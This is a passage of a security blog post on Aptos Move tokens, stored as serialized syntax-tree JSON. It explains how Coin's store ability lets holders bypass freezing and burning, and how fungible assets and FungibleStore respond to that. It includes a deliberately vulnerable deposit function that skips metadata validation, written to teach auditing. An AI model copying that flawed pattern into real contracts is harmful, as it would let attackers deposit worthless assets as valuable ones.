CoinStore",{"type":24,"tag":930,"props":64238,"children":64239},{"style":959},[64240],{"type":30,"value":1350},{"type":24,"tag":930,"props":64242,"children":64243},{"style":1023},[64244],{"type":30,"value":8923},{"type":24,"tag":930,"props":64246,"children":64247},{"style":943},[64248],{"type":30,"value":8928},{"type":24,"tag":930,"props":64250,"children":64251},{"style":959},[64252],{"type":30,"value":8933},{"type":24,"tag":930,"props":64254,"children":64255},{"style":1023},[64256],{"type":30,"value":8938},{"type":24,"tag":930,"props":64258,"children":64259},{"style":1023},[64260],{"type":30,"value":9044},{"type":24,"tag":930,"props":64262,"children":64263},{"style":959},[64264],{"type":30,"value":981},{"type":24,"tag":930,"props":64266,"children":64267},{"class":932,"line":984},[64268,64273,64277,64281,64285,64289],{"type":24,"tag":930,"props":64269,"children":64270},{"style":1023},[64271],{"type":30,"value":64272},"    coin",{"type":24,"tag":930,"props":64274,"children":64275},{"style":1158},[64276],{"type":30,"value":476},{"type":24,"tag":930,"props":64278,"children":64279},{"style":943},[64280],{"type":30,"value":8914},{"type":24,"tag":930,"props":64282,"children":64283},{"style":959},[64284],{"type":30,"value":1350},{"type":24,"tag":930,"props":64286,"children":64287},{"style":943},[64288],{"type":30,"value":9695},{"type":24,"tag":930,"props":64290,"children":64291},{"style":959},[64292],{"type":30,"value":9251},{"type":24,"tag":930,"props":64294,"children":64295},{"class":932,"line":993},[64296,64301,64305,64309],{"type":24,"tag":930,"props":64297,"children":64298},{"style":1023},[64299],{"type":30,"value":64300},"    frozen",{"type":24,"tag":930,"props":64302,"children":64303},{"style":1158},[64304],{"type":30,"value":476},{"type":24,"tag":930,"props":64306,"children":64307},{"style":943},[64308],{"type":30,"value":15157},{"type":24,"tag":930,"props":64310,"children":64311},{"style":959},[64312],{"type":30,"value":2832},{"type":24,"tag":930,"props":64314,"children":64315},{"class":932,"line":1057},[64316,64321,64325,64330,64334,64339],{"type":24,"tag":930,"props":64317,"children":64318},{"style":1023},[64319],{"type":30,"value":64320},"    deposit_events",{"type":24,"tag":930,"props":64322,"children":64323},{"style":1158},[64324],{"type":30,"value":476},{"type":24,"tag":930,"props":64326,"children":64327},{"style":943},[64328],{"type":30,"value":64329}," EventHandle",{"type":24,"tag":930,"props":64331,"children":64332},{"style":959},[64333],{"type":30,"value":1350},{"type":24,"tag":930,"props":64335,"children":64336},{"style":943},[64337],{"type":30,"value":64338},"DepositEvent",{"type":24,"tag":930,"props":64340,"children":64341},{"style":959},[64342],{"type":30,"value":9251},{"type":24,"tag":930,"props":64344,"children":64345},{"class":932,"line":1066},[64346,64351,64355,64359,64363,64368],{"type":24,"tag":930,"props":64347,"children":64348},{"style":1023},[64349],{"type":30,"value":64350},"    withdraw_events",{"type":24,"tag":930,"props":64352,"children":64353},{"style":1158},[64354],{"type":30,"value":476},{"type":24,"tag":930,"props":64356,"children":64357},{"style":943},[64358],{"type":30,"value":64329},{"type":24,"tag":930,"props":64360,"children":64361},{"style":959},[64362],{"type":30,"value":1350},{"type":24,"tag":930,"props":64364,"children":64365},{"style":943},[64366],{"type":30,"value":64367},"WithdrawEvent",{"type":24,"tag":930,"props":64369,"children":64370},{"style":959},[64371],{"type":30,"value":9251},{"type":24,"tag":930,"props":64373,"children":64374},{"class":932,"line":1075},[64375],{"type":24,"tag":930,"props":64376,"children":64377},{"style":959},[64378],{"type":30,"value":2528},{"type":24,"tag":33,"props":64380,"children":64381},{},[64382,64384,64389,64391,64396],{"type":30,"value":64383},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":156,"props":64385,"children":64387},{"className":64386},[],[64388],{"type":30,"value":64053},{"type":30,"value":64390}," can be stored. You can create your own ",{"type":24,"tag":156,"props":64392,"children":64394},{"className":64393},[],[64395],{"type":30,"value":64053},{"type":30,"value":64397}," wallet, which could look like this:",{"type":24,"tag":920,"props":64399,"children":64401},{"className":6102,"code":64400,"language":6101,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[64402],{"type":24,"tag":156,"props":64403,"children":64404},{"__ignoreMap":7},[64405,64445,64472],{"type":24,"tag":930,"props":64406,"children":64407},{"class":932,"line":933},[64408,64412,64417,64421,64425,64429,64433,64437,64441],{"type":24,"tag":930,"props":64409,"children":64410},{"style":937},[64411],{"type":30,"value":12509},{"type":24,"tag":930,"props":64413,"children":64414},{"style":943},[64415],{"type":30,"value":64416}," DefinitelyLegitCoinStore",{"type":24,"tag":930,"props":64418,"children":64419},{"style":959},[64420],{"type":30,"value":1350},{"type":24,"tag":930,"props":64422,"children":64423},{"style":1023},[64424],{"type":30,"value":8923},{"type":24,"tag":930,"props":64426,"children":64427},{"style":943},[64428],{"type":30,"value":8928},{"type":24,"tag":930,"props":64430,"children":64431},{"style":959},[64432],{"type":30,"value":8933},{"type":24,"tag":930,"props":64434,"children":64435},{"style":1023},[64436],{"type":30,"value":8938},{"type":24,"tag":930,"props":64438,"children":64439},{"style":1023},[64440],{"type":30,"value":9044},{"type":24,"tag":930,"props":64442,"children":64443},{"style":959},[64444],{"type":30,"value":981},{"type":24,"tag":930,"props":64446,"children":64447},{"class":932,"line":984},[64448,64452,64456,64460,64464,64468],{"type":24,"tag":930,"props":64449,"children":64450},{"style":1023},[64451],{"type":30,"value":64272},{"type":24,"tag":930,"props":64453,"children":64454},{"style":1158},[64455],{"type":30,"value":476},{"type":24,"tag":930,"props":64457,"children":64458},{"style":943},[64459],{"type":30,"value":8914},{"type":24,"tag":930,"props":64461,"children":64462},{"style":959},[64463],{"type":30,"value":1350},{"type":24,"tag":930,"props":64465,"children":64466},{"style":943},[64467],{"type":30,"value":9695},{"type":24,"tag":930,"props":64469,"children":64470},{"style":959},[64471],{"type":30,"value":9105},{"type":24,"tag":930,"props":64473,"children":64474},{"class":932,"line":993},[64475],{"type":24,"tag":930,"props":64476,"children":64477},{"style":959},[64478],{"type":30,"value":2528},{"type":24,"tag":33,"props":64480,"children":64481},{},[64482,64487,64489,64495,64497,64502,64504,64510,64512,64517],{"type":24,"tag":156,"props":64483,"children":64485},{"className":64484},[],[64486],{"type":30,"value":64215},{"type":30,"value":64488}," includes a ",{"type":24,"tag":156,"props":64490,"children":64492},{"className":64491},[],[64493],{"type":30,"value":64494},"frozen",{"type":30,"value":64496}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":156,"props":64498,"children":64500},{"className":64499},[],[64501],{"type":30,"value":64215},{"type":30,"value":64503}," is also required for a ",{"type":24,"tag":156,"props":64505,"children":64507},{"className":64506},[],[64508],{"type":30,"value":64509},"burn_from",{"type":30,"value":64511}," operation, which withdraws the ",{"type":24,"tag":156,"props":64513,"children":64515},{"className":64514},[],[64516],{"type":30,"value":64020},{"type":30,"value":64518}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":33,"props":64520,"children":64521},{},[64522,64524,64529,64531,64538,64540,64545],{"type":30,"value":64523},"Storing ",{"type":24,"tag":156,"props":64525,"children":64527},{"className":64526},[],[64528],{"type":30,"value":64020},{"type":30,"value":64530}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":37,"props":64532,"children":64535},{"href":64533,"rel":64534},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[41],[64536],{"type":30,"value":64537},"AIP-21",{"type":30,"value":64539}," summarizes the ",{"type":24,"tag":156,"props":64541,"children":64543},{"className":64542},[],[64544],{"type":30,"value":64020},{"type":30,"value":64546}," problems:",{"type":24,"tag":6054,"props":64548,"children":64549},{},[64550,64559],{"type":24,"tag":33,"props":64551,"children":64552},{},[64553,64557],{"type":24,"tag":930,"props":64554,"children":64555},{},[64556],{"type":30,"value":12699},{"type":30,"value":64558}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":33,"props":64560,"children":64561},{},[64562],{"type":30,"value":64563},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":33,"props":64565,"children":64566},{},[64567],{"type":30,"value":64568},"And declares, that:",{"type":24,"tag":6054,"props":64570,"children":64571},{},[64572],{"type":24,"tag":33,"props":64573,"children":64574},{},[64575],{"type":30,"value":64576},"Fungible assets addresses these issues.",{"type":24,"tag":33,"props":64578,"children":64579},{},[64580],{"type":30,"value":64581},"Let's find out whether this is indeed the case.",{"type":24,"tag":68,"props":64583,"children":64585},{"id":64584},"the-fungible-assets",[64586],{"type":30,"value":64587},"The fungible assets",{"type":24,"tag":33,"props":64589,"children":64590},{},[64591,64593,64599,64601,64608],{"type":30,"value":64592},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":156,"props":64594,"children":64596},{"className":64595},[],[64597],{"type":30,"value":64598},"FungibleAsset",{"type":30,"value":64600}," uses the ",{"type":24,"tag":37,"props":64602,"children":64605},{"href":64603,"rel":64604},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[41],[64606],{"type":30,"value":64607},"hot-potato pattern",{"type":30,"value":476},{"type":24,"tag":920,"props":64610,"children":64612},{"className":6102,"code":64611,"language":6101,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[64613],{"type":24,"tag":156,"props":64614,"children":64615},{"__ignoreMap":7},[64616,64632,64662,64682],{"type":24,"tag":930,"props":64617,"children":64618},{"class":932,"line":933},[64619,64623,64628],{"type":24,"tag":930,"props":64620,"children":64621},{"style":937},[64622],{"type":30,"value":12509},{"type":24,"tag":930,"props":64624,"children":64625},{"style":943},[64626],{"type":30,"value":64627}," FungibleAsset",{"type":24,"tag":930,"props":64629,"children":64630},{"style":959},[64631],{"type":30,"value":981},{"type":24,"tag":930,"props":64633,"children":64634},{"class":932,"line":984},[64635,64640,64644,64649,64653,64658],{"type":24,"tag":930,"props":64636,"children":64637},{"style":1023},[64638],{"type":30,"value":64639},"    metadata",{"type":24,"tag":930,"props":64641,"children":64642},{"style":1158},[64643],{"type":30,"value":476},{"type":24,"tag":930,"props":64645,"children":64646},{"style":943},[64647],{"type":30,"value":64648}," Object",{"type":24,"tag":930,"props":64650,"children":64651},{"style":959},[64652],{"type":30,"value":1350},{"type":24,"tag":930,"props":64654,"children":64655},{"style":943},[64656],{"type":30,"value":64657},"Metadata",{"type":24,"tag":930,"props":64659,"children":64660},{"style":959},[64661],{"type":30,"value":9251},{"type":24,"tag":930,"props":64663,"children":64664},{"class":932,"line":993},[64665,64670,64674,64678],{"type":24,"tag":930,"props":64666,"children":64667},{"style":1023},[64668],{"type":30,"value":64669},"    amount",{"type":24,"tag":930,"props":64671,"children":64672},{"style":1158},[64673],{"type":30,"value":476},{"type":24,"tag":930,"props":64675,"children":64676},{"style":943},[64677],{"type":30,"value":8972},{"type":24,"tag":930,"props":64679,"children":64680},{"style":959},[64681],{"type":30,"value":2832},{"type":24,"tag":930,"props":64683,"children":64684},{"class":932,"line":1057},[64685],{"type":24,"tag":930,"props":64686,"children":64687},{"style":959},[64688],{"type":30,"value":2528},{"type":24,"tag":33,"props":64690,"children":64691},{},[64692,64694,64699,64700,64705,64707,64712,64714,64721],{"type":30,"value":64693},"Unlike ",{"type":24,"tag":156,"props":64695,"children":64697},{"className":64696},[],[64698],{"type":30,"value":64053},{"type":30,"value":962},{"type":24,"tag":156,"props":64701,"children":64703},{"className":64702},[],[64704],{"type":30,"value":64598},{"type":30,"value":64706}," types are defined at runtime through the ",{"type":24,"tag":156,"props":64708,"children":64710},{"className":64709},[],[64711],{"type":30,"value":64657},{"type":30,"value":64713}," field. This change was meant to ",{"type":24,"tag":37,"props":64715,"children":64718},{"href":64716,"rel":64717},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[41],[64719],{"type":30,"value":64720},"enhance extensibility",{"type":30,"value":476},{"type":24,"tag":6054,"props":64723,"children":64724},{},[64725],{"type":24,"tag":33,"props":64726,"children":64727},{},[64728],{"type":30,"value":64729},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":33,"props":64731,"children":64732},{},[64733,64735,64741],{"type":30,"value":64734},"An important implication is that functions accepting ",{"type":24,"tag":156,"props":64736,"children":64738},{"className":64737},[],[64739],{"type":30,"value":64740},"FungibleAssets",{"type":30,"value":64742}," must verify the metadata to ensure valid assets.",{"type":24,"tag":33,"props":64744,"children":64745},{},[64746],{"type":30,"value":64747},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":920,"props":64749,"children":64751},{"className":6102,"code":64750,"language":6101,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[64752],{"type":24,"tag":156,"props":64753,"children":64754},{"__ignoreMap":7},[64755,64792,64830,64854,64866,64874,64919,64953,64983,64990,65027,65034,65071,65078,65124],{"type":24,"tag":930,"props":64756,"children":64757},{"class":932,"line":933},[64758,64763,64767,64772,64776,64780,64784,64788],{"type":24,"tag":930,"props":64759,"children":64760},{"style":1023},[64761],{"type":30,"value":64762},"public",{"type":24,"tag":930,"props":64764,"children":64765},{"style":1023},[64766],{"type":30,"value":9320},{"type":24,"tag":930,"props":64768,"children":64769},{"style":1023},[64770],{"type":30,"value":64771}," deposit",{"type":24,"tag":930,"props":64773,"children":64774},{"style":959},[64775],{"type":30,"value":1350},{"type":24,"tag":930,"props":64777,"children":64778},{"style":943},[64779],{"type":30,"value":9100},{"type":24,"tag":930,"props":64781,"children":64782},{"style":1158},[64783],{"type":30,"value":476},{"type":24,"tag":930,"props":64785,"children":64786},{"style":1023},[64787],{"type":30,"value":9044},{"type":24,"tag":930,"props":64789,"children":64790},{"style":959},[64791],{"type":30,"value":9700},{"type":24,"tag":930,"props":64793,"children":64794},{"class":932,"line":984},[64795,64800,64804,64808,64812,64816,64821,64825],{"type":24,"tag":930,"props":64796,"children":64797},{"style":1023},[64798],{"type":30,"value":64799},"    sender",{"type":24,"tag":930,"props":64801,"children":64802},{"style":1158},[64803],{"type":30,"value":476},{"type":24,"tag":930,"props":64805,"children":64806},{"style":1158},[64807],{"type":30,"value":10253},{"type":24,"tag":930,"props":64809,"children":64810},{"style":1023},[64811],{"type":30,"value":10258},{"type":24,"tag":930,"props":64813,"children":64814},{"style":959},[64815],{"type":30,"value":962},{"type":24,"tag":930,"props":64817,"children":64818},{"style":1023},[64819],{"type":30,"value":64820},"fa",{"type":24,"tag":930,"props":64822,"children":64823},{"style":1158},[64824],{"type":30,"value":476},{"type":24,"tag":930,"props":64826,"children":64827},{"style":943},[64828],{"type":30,"value":64829}," FungibleAsset\n",{"type":24,"tag":930,"props":64831,"children":64832},{"class":932,"line":993},[64833,64837,64841,64845,64849],{"type":24,"tag":930,"props":64834,"children":64835},{"style":959},[64836],{"type":30,"value":5579},{"type":24,"tag":930,"props":64838,"children":64839},{"style":1023},[64840],{"type":30,"value":9456},{"type":24,"tag":930,"props":64842,"children":64843},{"style":959},[64844],{"type":30,"value":26134},{"type":24,"tag":930,"props":64846,"children":64847},{"style":1158},[64848],{"type":30,"value":12699},{"type":24,"tag":930,"props":64850,"children":64851},{"style":959},[64852],{"type":30,"value":64853},"] {\n",{"type":24,"tag":930,"props":64855,"children":64856},{"class":932,"line":1057},[64857,64862],{"type":24,"tag":930,"props":64858,"children":64859},{"style":1002},[64860],{"type":30,"value":64861},"    assert_not_paused",{"type":24,"tag":930,"props":64863,"children":64864},{"style":959},[64865],{"type":30,"value":1310},{"type":24,"tag":930,"props":64867,"children":64868},{"class":932,"line":1066},[64869],{"type":24,"tag":930,"props":64870,"children":64871},{"style":959},[64872],{"type":30,"value":64873},"    \n",{"type":24,"tag":930,"props":64875,"children":64876},{"class":932,"line":1075},[64877,64881,64886,64890,64895,64899,64903,64907,64911,64915],{"type":24,"tag":930,"props":64878,"children":64879},{"style":937},[64880],{"type":30,"value":6122},{"type":24,"tag":930,"props":64882,"children":64883},{"style":1023},[64884],{"type":30,"value":64885}," fa_amount",{"type":24,"tag":930,"props":64887,"children":64888},{"style":1158},[64889],{"type":30,"value":6137},{"type":24,"tag":930,"props":64891,"children":64892},{"style":959},[64893],{"type":30,"value":64894}," fungible_asset",{"type":24,"tag":930,"props":64896,"children":64897},{"style":1158},[64898],{"type":30,"value":6597},{"type":24,"tag":930,"props":64900,"children":64901},{"style":1002},[64902],{"type":30,"value":23410},{"type":24,"tag":930,"props":64904,"children":64905},{"style":959},[64906],{"type":30,"value":1010},{"type":24,"tag":930,"props":64908,"children":64909},{"style":1158},[64910],{"type":30,"value":6230},{"type":24,"tag":930,"props":64912,"children":64913},{"style":1023},[64914],{"type":30,"value":64820},{"type":24,"tag":930,"props":64916,"children":64917},{"style":959},[64918],{"type":30,"value":1278},{"type":24,"tag":930,"props":64920,"children":64921},{"class":932,"line":1122},[64922,64926,64931,64935,64940,64944,64949],{"type":24,"tag":930,"props":64923,"children":64924},{"style":937},[64925],{"type":30,"value":6122},{"type":24,"tag":930,"props":64927,"children":64928},{"style":1023},[64929],{"type":30,"value":64930}," sender_address",{"type":24,"tag":930,"props":64932,"children":64933},{"style":1158},[64934],{"type":30,"value":6137},{"type":24,"tag":930,"props":64936,"children":64937},{"style":1002},[64938],{"type":30,"value":64939}," address_of",{"type":24,"tag":930,"props":64941,"children":64942},{"style":959},[64943],{"type":30,"value":1010},{"type":24,"tag":930,"props":64945,"children":64946},{"style":1023},[64947],{"type":30,"value":64948},"sender",{"type":24,"tag":930,"props":64950,"children":64951},{"style":959},[64952],{"type":30,"value":1278},{"type":24,"tag":930,"props":64954,"children":64955},{"class":932,"line":1131},[64956,64961,64965,64970,64974,64979],{"type":24,"tag":930,"props":64957,"children":64958},{"style":1002},[64959],{"type":30,"value":64960},"    check_compliance",{"type":24,"tag":930,"props":64962,"children":64963},{"style":959},[64964],{"type":30,"value":1010},{"type":24,"tag":930,"props":64966,"children":64967},{"style":1023},[64968],{"type":30,"value":64969},"fa_amount",{"type":24,"tag":930,"props":64971,"children":64972},{"style":959},[64973],{"type":30,"value":962},{"type":24,"tag":930,"props":64975,"children":64976},{"style":1023},[64977],{"type":30,"value":64978},"sender_address",{"type":24,"tag":930,"props":64980,"children":64981},{"style":959},[64982],{"type":30,"value":1278},{"type":24,"tag":930,"props":64984,"children":64985},{"class":932,"line":1144},[64986],{"type":24,"tag":930,"props":64987,"children":64988},{"style":959},[64989],{"type":30,"value":64873},{"type":24,"tag":930,"props":64991,"children":64992},{"class":932,"line":1169},[64993,64998,65002,65007,65011,65015,65019,65023],{"type":24,"tag":930,"props":64994,"children":64995},{"style":1002},[64996],{"type":30,"value":64997},"    increase_deposit",{"type":24,"tag":930,"props":64999,"children":65000},{"style":959},[65001],{"type":30,"value":1010},{"type":24,"tag":930,"props":65003,"children":65004},{"style":1002},[65005],{"type":30,"value":65006},"get_vault",{"type":24,"tag":930,"props":65008,"children":65009},{"style":959},[65010],{"type":30,"value":1010},{"type":24,"tag":930,"props":65012,"children":65013},{"style":1023},[65014],{"type":30,"value":64978},{"type":24,"tag":930,"props":65016,"children":65017},{"style":959},[65018],{"type":30,"value":3199},{"type":24,"tag":930,"props":65020,"children":65021},{"style":1023},[65022],{"type":30,"value":64969},{"type":24,"tag":930,"props":65024,"children":65025},{"style":959},[65026],{"type":30,"value":1278},{"type":24,"tag":930,"props":65028,"children":65029},{"class":932,"line":1191},[65030],{"type":24,"tag":930,"props":65031,"children":65032},{"style":959},[65033],{"type":30,"value":64873},{"type":24,"tag":930,"props":65035,"children":65036},{"class":932,"line":1223},[65037,65042,65046,65050,65054,65059,65063,65067],{"type":24,"tag":930,"props":65038,"children":65039},{"style":959},[65040],{"type":30,"value":65041},"    primary_fungible_store",{"type":24,"tag":930,"props":65043,"children":65044},{"style":1158},[65045],{"type":30,"value":6597},{"type":24,"tag":930,"props":65047,"children":65048},{"style":1002},[65049],{"type":30,"value":5730},{"type":24,"tag":930,"props":65051,"children":65052},{"style":959},[65053],{"type":30,"value":1010},{"type":24,"tag":930,"props":65055,"children":65056},{"style":1002},[65057],{"type":30,"value":65058},"global_vault_address",{"type":24,"tag":930,"props":65060,"children":65061},{"style":959},[65062],{"type":30,"value":1364},{"type":24,"tag":930,"props":65064,"children":65065},{"style":1023},[65066],{"type":30,"value":64820},{"type":24,"tag":930,"props":65068,"children":65069},{"style":959},[65070],{"type":30,"value":1278},{"type":24,"tag":930,"props":65072,"children":65073},{"class":932,"line":1281},[65074],{"type":24,"tag":930,"props":65075,"children":65076},{"style":959},[65077],{"type":30,"value":64873},{"type":24,"tag":930,"props":65079,"children":65080},{"class":932,"line":1313},[65081,65086,65090,65095,65099,65104,65108,65112,65116,65120],{"type":24,"tag":930,"props":65082,"children":65083},{"style":959},[65084],{"type":30,"value":65085},"    event",{"type":24,"tag":930,"props":65087,"children":65088},{"style":1158},[65089],{"type":30,"value":6597},{"type":24,"tag":930,"props":65091,"children":65092},{"style":1002},[65093],{"type":30,"value":65094},"emit",{"type":24,"tag":930,"props":65096,"children":65097},{"style":959},[65098],{"type":30,"value":1010},{"type":24,"tag":930,"props":65100,"children":65101},{"style":943},[65102],{"type":30,"value":65103},"Deposit",{"type":24,"tag":930,"props":65105,"children":65106},{"style":959},[65107],{"type":30,"value":48309},{"type":24,"tag":930,"props":65109,"children":65110},{"style":1023},[65111],{"type":30,"value":64978},{"type":24,"tag":930,"props":65113,"children":65114},{"style":959},[65115],{"type":30,"value":962},{"type":24,"tag":930,"props":65117,"children":65118},{"style":1023},[65119],{"type":30,"value":64969},{"type":24,"tag":930,"props":65121,"children":65122},{"style":959},[65123],{"type":30,"value":36110},{"type":24,"tag":930,"props":65125,"children":65126},{"class":932,"line":1335},[65127],{"type":24,"tag":930,"props":65128,"children":65129},{"style":959},[65130],{"type":30,"value":2528},{"type":24,"tag":33,"props":65132,"children":65133},{},[65134],{"type":30,"value":65135},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":24,"tag":33,"props":65137,"children":65138},{},[65139],{"type":30,"value":65140},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":24,"tag":68,"props":65142,"children":65144},{"id":65143},"fungible-stores",[65145],{"type":30,"value":65146},"Fungible stores",{"type":24,"tag":33,"props":65148,"children":65149},{},[65150],{"type":30,"value":65151},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":24,"tag":33,"props":65153,"children":65154},{},[65155,65157,65163],{"type":30,"value":65156},"Meet the ",{"type":24,"tag":156,"props":65158,"children":65160},{"className":65159},[],[65161],{"type":30,"value":65162},"FungibleStore",{"type":30,"value":436},{"type":24,"tag":920,"props":65165,"children":65167},{"className":6102,"code":65166,"language":6101,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[65168],{"type":24,"tag":156,"props":65169,"children":65170},{"__ignoreMap":7},[65171,65195,65222,65242,65261],{"type":24,"tag":930,"props":65172,"children":65173},{"class":932,"line":933},[65174,65178,65183,65187,65191],{"type":24,"tag":930,"props":65175,"children":65176},{"style":937},[65177],{"type":30,"value":12509},{"type":24,"tag":930,"props":65179,"children":65180},{"style":943},[65181],{"type":30,"value":65182}," FungibleStore",{"type":24,"tag":930,"props":65184,"children":65185},{"style":1023},[65186],{"type":30,"value":12518},{"type":24,"tag":930,"props":65188,"children":65189},{"style":1023},[65190],{"type":30,"value":9044},{"type":24,"tag":930,"props":65192,"children":65193},{"style":959},[65194],{"type":30,"value":981},{"type":24,"tag":930,"props":65196,"children":65197},{"class":932,"line":984},[65198,65202,65206,65210,65214,65218],{"type":24,"tag":930,"props":65199,"children":65200},{"style":1023},[65201],{"type":30,"value":64639},{"type":24,"tag":930,"props":65203,"children":65204},{"style":1158},[65205],{"type":30,"value":476},{"type":24,"tag":930,"props":65207,"children":65208},{"style":943},[65209],{"type":30,"value":64648},{"type":24,"tag":930,"props":65211,"children":65212},{"style":959},[65213],{"type":30,"value":1350},{"type":24,"tag":930,"props":65215,"children":65216},{"style":943},[65217],{"type":30,"value":64657},{"type":24,"tag":930,"props":65219,"children":65220},{"style":959},[65221],{"type":30,"value":9251},{"type":24,"tag":930,"props":65223,"children":65224},{"class":932,"line":993},[65225,65230,65234,65238],{"type":24,"tag":930,"props":65226,"children":65227},{"style":1023},[65228],{"type":30,"value":65229},"    balance",{"type":24,"tag":930,"props":65231,"children":65232},{"style":1158},[65233],{"type":30,"value":476},{"type":24,"tag":930,"props":65235,"children":65236},{"style":943},[65237],{"type":30,"value":8972},{"type":24,"tag":930,"props":65239,"children":65240},{"style":959},[65241],{"type":30,"value":2832},{"type":24,"tag":930,"props":65243,"children":65244},{"class":932,"line":1057},[65245,65249,65253,65257],{"type":24,"tag":930,"props":65246,"children":65247},{"style":1023},[65248],{"type":30,"value":64300},{"type":24,"tag":930,"props":65250,"children":65251},{"style":1158},[65252],{"type":30,"value":476},{"type":24,"tag":930,"props":65254,"children":65255},{"style":943},[65256],{"type":30,"value":15157},{"type":24,"tag":930,"props":65258,"children":65259},{"style":959},[65260],{"type":30,"value":2832},{"type":24,"tag":930,"props":65262,"children":65263},{"class":932,"line":1066},[65264],{"type":24,"tag":930,"props":65265,"children":65266},{"style":959},[65267],{"type":30,"value":2528},{"type":24,"tag":33,"props":65269,"children":65270},{},[65271,65276,65278,65283,65285,65290,65292,65297,65299,65304],{"type":24,"tag":156,"props":65272,"children":65274},{"className":65273},[],[65275],{"type":30,"value":65162},{"type":30,"value":65277}," manages balances and metadata instead of holding the actual ",{"type":24,"tag":156,"props":65279,"children":65281},{"className":65280},[],[65282],{"type":30,"value":64598},{"type":30,"value":65284}," (it can't because ",{"type":24,"tag":156,"props":65286,"children":65288},{"className":65287},[],[65289],{"type":30,"value":64598},{"type":30,"value":65291}," doesn't have ",{"type":24,"tag":156,"props":65293,"children":65295},{"className":65294},[],[65296],{"type":30,"value":9053},{"type":30,"value":65298},"). Withdrawals create temporary ",{"type":24,"tag":156,"props":65300,"children":65302},{"className":65301},[],[65303],{"type":30,"value":64598},{"type":30,"value":65305}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":24,"tag":21895,"props":65307,"children":65308},{},[],{"type":24,"tag":33,"props":65310,"children":65311},{},[65312,65314,65319,65321,65326],{"type":30,"value":65313},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":24,"tag":156,"props":65315,"children":65317},{"className":65316},[],[65318],{"type":30,"value":64598},{"type":30,"value":65320}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":24,"tag":156,"props":65322,"children":65324},{"className":65323},[],[65325],{"type":30,"value":64598},{"type":30,"value":436},{"type":24,"tag":920,"props":65328,"children":65330},{"className":6102,"code":65329,"language":6101,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: object::convert(metadata),\n        amount: 0,\n    }\n}\n",[65331],{"type":24,"tag":156,"props":65332,"children":65333},{"__ignoreMap":7},[65334,65371,65423,65466,65473,65480,65552,65564,65602,65621,65628],{"type":24,"tag":930,"props":65335,"children":65336},{"class":932,"line":933},[65337,65341,65345,65350,65354,65359,65363,65367],{"type":24,"tag":930,"props":65338,"children":65339},{"style":1023},[65340],{"type":30,"value":64762},{"type":24,"tag":930,"props":65342,"children":65343},{"style":1023},[65344],{"type":30,"value":9320},{"type":24,"tag":930,"props":65346,"children":65347},{"style":1002},[65348],{"type":30,"value":65349}," destroy_zero",{"type":24,"tag":930,"props":65351,"children":65352},{"style":959},[65353],{"type":30,"value":1010},{"type":24,"tag":930,"props":65355,"children":65356},{"style":1023},[65357],{"type":30,"value":65358},"fungible_asset",{"type":24,"tag":930,"props":65360,"children":65361},{"style":1158},[65362],{"type":30,"value":476},{"type":24,"tag":930,"props":65364,"children":65365},{"style":943},[65366],{"type":30,"value":64627},{"type":24,"tag":930,"props":65368,"children":65369},{"style":959},[65370],{"type":30,"value":1503},{"type":24,"tag":930,"props":65372,"children":65373},{"class":932,"line":984},[65374,65378,65382,65386,65390,65394,65399,65403,65407,65411,65415,65419],{"type":24,"tag":930,"props":65375,"children":65376},{"style":937},[65377],{"type":30,"value":6122},{"type":24,"tag":930,"props":65379,"children":65380},{"style":943},[65381],{"type":30,"value":64627},{"type":24,"tag":930,"props":65383,"children":65384},{"style":959},[65385],{"type":30,"value":12694},{"type":24,"tag":930,"props":65387,"children":65388},{"style":1023},[65389],{"type":30,"value":23410},{"type":24,"tag":930,"props":65391,"children":65392},{"style":959},[65393],{"type":30,"value":962},{"type":24,"tag":930,"props":65395,"children":65396},{"style":1023},[65397],{"type":30,"value":65398},"metadata",{"type":24,"tag":930,"props":65400,"children":65401},{"style":115